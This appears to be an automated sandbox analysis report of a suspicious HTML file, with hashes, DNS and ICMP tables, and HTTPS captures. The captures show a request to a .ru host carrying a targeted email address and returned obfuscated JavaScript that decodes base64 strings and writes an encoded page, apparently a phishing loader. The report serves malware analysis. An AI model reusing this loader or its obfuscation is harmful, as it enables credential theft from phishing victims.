MD5:	8b07fdf035e0c291d91099165dae8609
SHA1:	d99d8ec42e479773b54ed938f7685607f1a6e37b
SHA256:	d9a194aeab841f7836463963030de09895cb2dfe1c89fdbff0d8706e941bce4f
SHA512:	7210fab5ca2787cfc08011272514158c419fa6eef191b1dc651ed163f4f06cc855c65a01ea814765b7db17ad8621504ce65cd8842826013c8bdb19827d90c55d
SSDEEP:	1536:SXf0oywiJF1B5XaxBh5fW+/l64wxWyWT+J:SXfhywi71mxBXfW+/lXyWT+J
TLSH:	C363518173C2BC8112875B76772BB2F6E43A9DE87198088AF100FCA4F5BD911FAE5571
File Content Preview:	<html>..<head>..<meta charset="UTF-8">..</head>..<body>nep2xi0jvmfa0lxszj6ltxgqry5l0wrmxlbqaqpbqd981ko4dhj4oavw8mvfbz7sdhf8y7hdv8xc92qq3a5wuex2vmk2w06gealb194jidhneita5t46wpu4xf0hl83mn38cxk75gkve4a6dvdbqzwwekka7qpv629899h973kewfdt8v2jfjyj9qycwtueoytxx6vdv

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 17, 2025 00:37:31.106667995 CET	53	54761	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:31.179183006 CET	53	57640	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:31.231440067 CET	59877	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:37:31.231724977 CET	61646	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:37:31.282936096 CET	53	61646	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:31.320187092 CET	53	59877	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:32.198581934 CET	53	55001	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:32.274941921 CET	53	49569	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:32.490053892 CET	54652	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:37:32.490204096 CET	60741	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:37:32.491996050 CET	49789	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:37:32.492218971 CET	61224	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:37:32.492676020 CET	60666	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:37:32.492954016 CET	61312	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:37:32.496684074 CET	53	54652	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:32.496728897 CET	53	60741	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:32.498646021 CET	53	49789	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:32.498825073 CET	53	61224	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:32.499054909 CET	53	60666	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:32.499322891 CET	53	61312	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:33.886673927 CET	54330	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:37:33.886893988 CET	51914	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:37:33.893834114 CET	53	54330	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:33.895945072 CET	53	51914	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:34.578080893 CET	64117	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:37:34.578454971 CET	59061	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:37:34.586652994 CET	53	59061	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:34.589350939 CET	53	64117	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:35.929658890 CET	55871	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:37:35.929837942 CET	49626	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:37:35.937131882 CET	53	49626	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:35.937338114 CET	53	55871	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:49.356888056 CET	53	56172	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:53.443078995 CET	59811	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:37:53.443332911 CET	58985	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:37:53.498248100 CET	53	59811	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:53.566065073 CET	53	58985	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:55.005783081 CET	63142	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:37:55.006124020 CET	52855	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:37:55.020503998 CET	53	63142	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:55.065006971 CET	53	52855	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:56.043930054 CET	65326	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:37:56.043930054 CET	57252	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:37:56.100862026 CET	53	65326	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:56.147484064 CET	53	57252	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:57.019089937 CET	49657	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:37:57.019089937 CET	49735	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:37:57.025640965 CET	53	49657	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:57.025800943 CET	53	49735	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:59.302716017 CET	53931	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:37:59.303354979 CET	52854	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:37:59.309238911 CET	57057	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:37:59.309308052 CET	53	53931	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:59.310247898 CET	53	52854	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:59.310278893 CET	59609	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:37:59.343372107 CET	53	57057	1.1.1.1	192.168.2.16
Mar 17, 2025 00:37:59.369873047 CET	53	59609	1.1.1.1	192.168.2.16
Mar 17, 2025 00:38:00.362601995 CET	56241	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:38:00.362853050 CET	55699	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:38:00.368962049 CET	53	56241	1.1.1.1	192.168.2.16
Mar 17, 2025 00:38:00.370001078 CET	53	55699	1.1.1.1	192.168.2.16
Mar 17, 2025 00:38:01.095578909 CET	64554	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:38:01.095726013 CET	59737	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:38:01.124324083 CET	53	59737	1.1.1.1	192.168.2.16
Mar 17, 2025 00:38:01.193260908 CET	53	64554	1.1.1.1	192.168.2.16
Mar 17, 2025 00:38:04.930452108 CET	53	51690	1.1.1.1	192.168.2.16
Mar 17, 2025 00:38:05.177547932 CET	55454	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:38:05.177678108 CET	49804	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:38:05.184060097 CET	53	55454	1.1.1.1	192.168.2.16
Mar 17, 2025 00:38:05.185033083 CET	53	49804	1.1.1.1	192.168.2.16
Mar 17, 2025 00:38:05.781557083 CET	52679	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:38:05.781759977 CET	54268	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:38:05.782273054 CET	52402	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:38:05.782412052 CET	55629	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:38:05.788464069 CET	53	52679	1.1.1.1	192.168.2.16
Mar 17, 2025 00:38:05.791436911 CET	53	54268	1.1.1.1	192.168.2.16
Mar 17, 2025 00:38:05.796300888 CET	53	52402	1.1.1.1	192.168.2.16
Mar 17, 2025 00:38:05.796806097 CET	53	55629	1.1.1.1	192.168.2.16
Mar 17, 2025 00:38:06.949369907 CET	58725	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:38:06.949546099 CET	60340	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:38:06.961143017 CET	53	58725	1.1.1.1	192.168.2.16
Mar 17, 2025 00:38:07.015749931 CET	53	60340	1.1.1.1	192.168.2.16
Mar 17, 2025 00:38:08.101681948 CET	53	56128	1.1.1.1	192.168.2.16
Mar 17, 2025 00:38:22.416160107 CET	53	59690	1.1.1.1	192.168.2.16
Mar 17, 2025 00:38:30.621186972 CET	53	62845	1.1.1.1	192.168.2.16
Mar 17, 2025 00:38:31.103926897 CET	53	55301	1.1.1.1	192.168.2.16
Mar 17, 2025 00:38:34.697628975 CET	53	54300	1.1.1.1	192.168.2.16
Mar 17, 2025 00:38:50.979581118 CET	138	138	192.168.2.16	192.168.2.255
Mar 17, 2025 00:38:53.202955008 CET	53	58079	1.1.1.1	192.168.2.16
Mar 17, 2025 00:38:57.025587082 CET	59184	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:38:57.025803089 CET	58386	53	192.168.2.16	1.1.1.1
Mar 17, 2025 00:38:57.032196999 CET	53	59184	1.1.1.1	192.168.2.16
Mar 17, 2025 00:38:57.032321930 CET	53	58386	1.1.1.1	192.168.2.16

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 17, 2025 00:37:53.566145897 CET	192.168.2.16	1.1.1.1	c284	(Port unreachable)	Destination Unreachable
Mar 17, 2025 00:37:55.065084934 CET	192.168.2.16	1.1.1.1	c284	(Port unreachable)	Destination Unreachable
Mar 17, 2025 00:37:56.147553921 CET	192.168.2.16	1.1.1.1	c284	(Port unreachable)	Destination Unreachable
Mar 17, 2025 00:37:59.369935989 CET	192.168.2.16	1.1.1.1	c276	(Port unreachable)	Destination Unreachable
Mar 17, 2025 00:38:07.015821934 CET	192.168.2.16	1.1.1.1	c31c	(Port unreachable)	Destination Unreachable

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:37:31 UTC	694	OUT	GET /r0lfuHO4/$admin.invoices@bluewatersps.com.au HTTP/1.1 Host: 2y.osejonco.ru Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-16 23:37:32 UTC	1218	IN	HTTP/1.1 200 OK Date: Sun, 16 Mar 2025 23:37:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QIR%2BjRQsfXAubeivI3viPktM2TQjN8I2Z74Qd8xAib5rFDrReDfmIYCK5Fk2h%2FNDZThTxxDvRfiVBWu%2BtsKjGiBwwnFCUCSkr8qQ0DMu%2Br4Ksa9IohEpP%2FGDjvO0S4oHsFbN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=18681&min_rtt=18665&rtt_var=5264&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=1595&delivery_rate=216175&cwnd=252&unsent_bytes=0&cid=ce91b71f7b9e4776&ts=231&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IitVa3dYNkVJNlgwVWdxVUhlTjlYbXc9PSIsInZhbHVlIjoidlV6OGFkOXNmZUl1NjhGSUZiUUZ2R2p0d2FyT2d6d043YUp5d0JyNVcwaXo3YUM1THFxWW1pcjRLd0sxdUJFMDZTYWZTd2MrOW56RE1qcGM2V3VVVkVlSFUwekNScmVTNFViamtFdXBUd29tb0NGaUZqMURJOU5RQnI5YUU2a3IiLCJtYWMiOiIzM2RkYzk1ZDNhZjhjZjU2MWRkZWM2ZmFiYzVhYjZlY2MwNjU3NzYwMTgxNTZjMzEzNmFiZWFlMjY3ZDAwODVhIiwidGFnIjoiIn0%3D; expires=Mon, 17-Mar-2025 01:37:32 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-16 23:37:32 UTC	762	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6c 6c 44 54 32 31 33 59 6b 52 45 4f 56 55 30 4f 46 52 68 64 6c 5a 74 56 6c 6c 47 63 6d 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 62 33 52 6d 4b 30 35 32 64 33 4d 79 63 58 70 75 5a 31 70 47 55 56 4a 56 4f 57 52 72 57 6d 4e 4b 61 6d 68 74 5a 30 39 36 51 58 46 32 57 48 45 7a 59 58 64 7a 51 6d 64 58 4d 57 39 79 55 54 56 58 4d 58 68 42 4c 30 70 55 4e 44 56 71 56 33 51 77 55 31 5a 4e 56 56 42 34 56 57 70 72 4e 6b 70 49 63 58 56 56 56 6e 68 5a 61 57 4a 46 5a 6b 56 78 53 33 6f 31 51 33 64 33 63 32 4a 75 63 6e 68 68 4f 48 4a 5a 59 33 56 72 55 57 31 73 63 56 52 46 54 6b 78 76 64 46 64 78 4e 57 4a 4e 4f 57 35 54 56 48 68 54 65 54 56 51 4e 6c 63 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IllDT213YkREOVU0OFRhdlZtVllGcmc9PSIsInZhbHVlIjoib3RmK052d3MycXpuZ1pGUVJVOWRrWmNKamhtZ096QXF2WHEzYXdzQmdXMW9yUTVXMXhBL0pUNDVqV3QwU1ZNVVB4VWprNkpIcXVVVnhZaWJFZkVxS3o1Q3d3c2JucnhhOHJZY3VrUW1scVRFTkxvdFdxNWJNOW5TVHhTeTVQNlc
2025-03-16 23:37:32 UTC	283	IN	Data Raw: 31 31 34 0d 0a 3c 73 63 72 69 70 74 3e 0a 69 6b 44 6d 4a 4f 51 71 6e 72 20 3d 20 61 74 6f 62 28 22 61 48 52 30 63 48 4d 36 4c 79 38 33 61 54 68 59 4c 6d 39 7a 5a 57 70 76 62 6d 4e 76 4c 6e 4a 31 4c 33 49 77 62 47 5a 31 53 45 38 30 4c 77 3d 3d 22 29 3b 0a 70 4b 6f 72 64 4e 76 72 68 4b 20 3d 20 61 74 6f 62 28 22 62 6d 39 74 59 58 52 6a 61 41 3d 3d 22 29 3b 0a 45 45 69 4d 55 4d 50 44 6c 4b 20 3d 20 61 74 6f 62 28 22 64 33 4a 70 64 47 55 3d 22 29 3b 0a 69 66 28 69 6b 44 6d 4a 4f 51 71 6e 72 20 3d 3d 20 70 4b 6f 72 64 4e 76 72 68 4b 29 7b 0a 64 6f 63 75 6d 65 6e 74 5b 45 45 69 4d 55 4d 50 44 6c 4b 5d 28 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 73 63 61 70 65 28 61 74 6f 62 28 27 50 43 46 45 54 30 4e 55 57 56 42 46 49 47 68 30 62 57 77 2b 43 Data Ascii: 114<script>ikDmJOQqnr = atob("aHR0cHM6Ly83aThYLm9zZWpvbmNvLnJ1L3IwbGZ1SE80Lw==");pKordNvrhK = atob("bm9tYXRjaA==");EEiMUMPDlK = atob("d3JpdGU=");if(ikDmJOQqnr == pKordNvrhK){document[EEiMUMPDlK](decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+C
2025-03-16 23:37:32 UTC	1369	IN	Data Raw: 31 65 30 64 0d 0a 73 61 57 35 72 49 48 4a 6c 62 44 30 69 61 57 4e 76 62 69 49 67 61 48 4a 6c 5a 6a 30 69 61 48 52 30 63 48 4d 36 4c 79 39 6b 5a 58 5a 6c 62 47 39 77 5a 58 4a 7a 4c 6d 4e 73 62 33 56 6b 5a 6d 78 68 63 6d 55 75 59 32 39 74 4c 32 5a 68 64 6d 6c 6a 62 32 34 75 63 47 35 6e 49 69 42 30 65 58 42 6c 50 53 4a 70 62 57 46 6e 5a 53 39 34 4c 57 6c 6a 62 32 34 69 50 67 6f 67 49 43 41 67 50 47 31 6c 64 47 45 67 61 48 52 30 63 43 31 6c 63 58 56 70 64 6a 30 69 57 43 31 56 51 53 31 44 62 32 31 77 59 58 52 70 59 6d 78 6c 49 69 42 6a 62 32 35 30 5a 57 35 30 50 53 4a 4a 52 54 31 46 5a 47 64 6c 4c 47 4e 6f 63 6d 39 74 5a 54 30 78 49 6a 34 4b 49 43 41 67 49 44 78 74 5a 58 52 68 49 47 35 68 62 57 55 39 49 6e 4a 76 59 6d 39 30 63 79 49 67 59 32 39 75 64 47 56 75 Data Ascii: 1e0dsaW5rIHJlbD0iaWNvbiIgaHJlZj0iaHR0cHM6Ly9kZXZlbG9wZXJzLmNsb3VkZmxhcmUuY29tL2Zhdmljb24ucG5nIiB0eXBlPSJpbWFnZS94LWljb24iPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb250ZW50PSJJRT1FZGdlLGNocm9tZT0xIj4KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVu
2025-03-16 23:37:32 UTC	1369	IN	Data Raw: 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 Data Ascii: Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk776g44Wk776g44Wk44Wk776g776g776g44Wk776g776g44Wk44Wk776g776g44Wk776g776g776g44Wk44Wk44Wk776g776g44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk4
2025-03-16 23:37:32 UTC	1369	IN	Data Raw: 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 Data Ascii: g44Wk776g44Wk44Wk44Wk44Wk44Wk776g44Wk44Wk44Wk776g776g776g776g776g44Wk44Wk776g44Wk776g776g776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g44Wk77
2025-03-16 23:37:32 UTC	1369	IN	Data Raw: 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 Data Ascii: 776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk44Wk776g776g44Wk776g776g44Wk44Wk44Wk776g776g776g776g776g776g44Wk776g776g776g44Wk776g776g776g44Wk776g44Wk776g776g44Wk776g776g44Wk776g44Wk776g776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44W
2025-03-16 23:37:32 UTC	1369	IN	Data Raw: 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b Data Ascii: 76g44Wk776g776g44Wk44Wk776g44Wk44Wk776g776g776g44Wk44Wk776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g44Wk776g44Wk44Wk776g776g44Wk776g776g776g44Wk776g776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g44Wk44Wk44Wk44Wk
2025-03-16 23:37:32 UTC	856	IN	Data Raw: 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 Data Ascii: 6g44Wk44Wk44Wk776g776g776g44Wk776g776g776g44Wk776g776g776g44Wk776g44Wk44Wk776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk776g776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk44Wk4
2025-03-16 23:37:32 UTC	1369	IN	Data Raw: 37 66 66 61 0d 0a 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 Data Ascii: 7ffa44Wk44Wk776g776g44Wk44Wk776g776g44Wk44Wk44Wk776g44Wk776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g776g776g44Wk44Wk776g44Wk44Wk44Wk776g44Wk776g776g776g44Wk44Wk776g44Wk776g776g44Wk776g44Wk44Wk776g44Wk44Wk44Wk44Wk776g44Wk44Wk776g44Wk44Wk44Wk7
2025-03-16 23:37:32 UTC	1369	IN	Data Raw: 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 Data Ascii: g776g776g776g44Wk44Wk44Wk776g776g44Wk44Wk776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk44Wk776g44Wk44Wk44Wk776g776g44Wk776g776g44Wk44Wk776g776g776g44Wk44Wk44Wk776g44Wk44Wk776g776g44Wk776g776g44Wk44Wk776g776g776g44Wk44Wk44Wk776g776g44Wk44Wk776g44Wk776g776g44Wk77

Timestamp	Bytes transferred	Direction	Data
2025-03-16 23:37:32 UTC	661	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://2y.osejonco.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-16 23:37:33 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Sun, 16 Mar 2025 23:37:33 GMT Age: 837235 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740088-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 21 X-Timer: S1742168253.032373,VS0,VE0 Vary: Accept-Encoding
